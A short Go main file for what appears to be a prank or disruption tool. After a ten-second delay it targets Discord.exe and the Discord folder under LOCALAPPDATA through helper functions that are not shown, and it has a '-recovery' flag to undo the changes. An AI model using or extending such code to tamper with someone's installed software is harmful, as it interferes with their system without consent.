package main

import (
	"flag"
	"fmt"
	"os"
	"time"

	"github.com/Merith-TK/utils/debug"
)

var recovery bool

func init() {
	flag.BoolVar(&recovery, "recovery", false, "Undo Fuckery")
}

func main() {
	flag.Parse()

	if recovery {
		restoreFiles()
		return
	}

	userdata := os.Getenv("USERPROFILE")
	debug.Print(fmt.Sprintf("USERPROFILE: %s", userdata))

	localAppData := os.Getenv("LOCALAPPDATA")
	debug.Print(fmt.Sprintf("LOCALAPPDATA: %s", localAppData))

	programs := []string{
		"Discord.exe",
	}

	time.Sleep(10 * time.Second)

	files := []string{
		fmt.Sprintf("%s\\Discord", localAppData),
		"file2.txt",
	}

	for _, program := range programs {
		err := goonProgram(program)
		if err != nil {
			debug.Print(err)
		}
	}

	for _, file := range files {
		err := goonFiles(file)
		if err != nil {
			debug.Print(err)
		}
	}

}